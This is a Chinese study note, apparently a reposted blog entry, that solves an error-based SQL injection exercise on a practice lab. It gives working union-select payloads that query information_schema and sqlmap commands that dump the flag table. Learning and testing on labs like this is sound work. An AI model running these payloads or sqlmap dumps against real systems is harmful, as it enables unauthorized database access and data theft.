SQL显错注入(学习笔记)

SQL注入
SQL注入攻击的本质就是把用户输入的语句当做代码执行

SQL注入分为两类:数字型和字符型
列如:
数字型:select * from table where id=1~n
字符型:select * from table where id=‘1~n’

GET基于报错的SQL注入
通过在URL中修改对应的id值,为正常的数字,大数字,字符(单引号,双引号,双单引号,括号)反斜杠\来探测URL中是否存在注入点。

靶场显错注入第一题做法
在这里插入图片描述首先查看是否存在注入
可以使用古老的方法 and 1=1 1=2 不过容易被拦截
这里使用and -1=-1 -1=-2 查看是否存在注入点。
and -1=-1 页面正常
在这里插入图片描述and -1=-2 报错,证明与数据库进行了交互,所以存在sql注入
在这里插入图片描述查看字段数
使用order by
这里order by 2,3页面正常,order by 4页面报错证明存在3个字段
在这里插入图片描述在这里插入图片描述在这里插入图片描述查看输出点
使用union select
union select 1,2,3(因为3个字段所以我们联合查询的字段也要相同)
可以看到输出点在2,3
在这里插入图片描述可以在数据点查看当前数据库名和版本database(),version();
当前数据库库名为error
在这里插入图片描述通过系统自带库查询表名
Mysql在5.0以上版本加入了 information_schema 这个系统自带库 其中保存着关于MySQL服务器所维护的所有其他数据库的信息。如数据库名,数据库的表,表栏的数据类型与访问权限等
union select 1,2,table_name from information_schema.tables where table_schema='error’查询指定数据库里的表名
在这里插入图片描述可以使用limit分页单条输出,也可以使用GROUP_CONCAT一起输出,但有时候输出不完整。
在这里插入图片描述
通过系统自带库查询字段名
union select 1,2,column_name from information_schema.columns where table_name=‘error_flag’
这里查询我们想要的error_flag表,查询到里面有一个flag字段
在这里插入图片描述查询里面的数据拿到flag
在这里插入图片描述使用sqlmap的做法

python sqlmap.py -u “http://inject2.lab.aqlab.cn:81/Pass-01/index.php?id=1(存在注入点的url)” --dbs --batch
在这里插入图片描述这样就跑出了库名
在这里插入图片描述
查表名
python sqlmap.py -u “http://inject2.lab.aqlab.cn:81/Pass-01/index.php?id=1” -D error --tables
在这里插入图片描述在这里插入图片描述查字段
python sqlmap.py -u “http://inject2.lab.aqlab.cn:81/Pass-01/index.php?id=1” -D error --tables -T error_flag --columns
在这里插入图片描述查看面的数据拿到flag
python sqlmap.py -u “http://inject2.lab.aqlab.cn:81/Pass-01/index.php?id=1” -D error -C flag --dump在这里插入图片描述在这里插入图片描述

发布了14 篇原创文章 · 获赞 0 · 访问量 130

猜你喜欢

转载自blog.csdn.net/weixin_45291045/article/details/105073649
今日推荐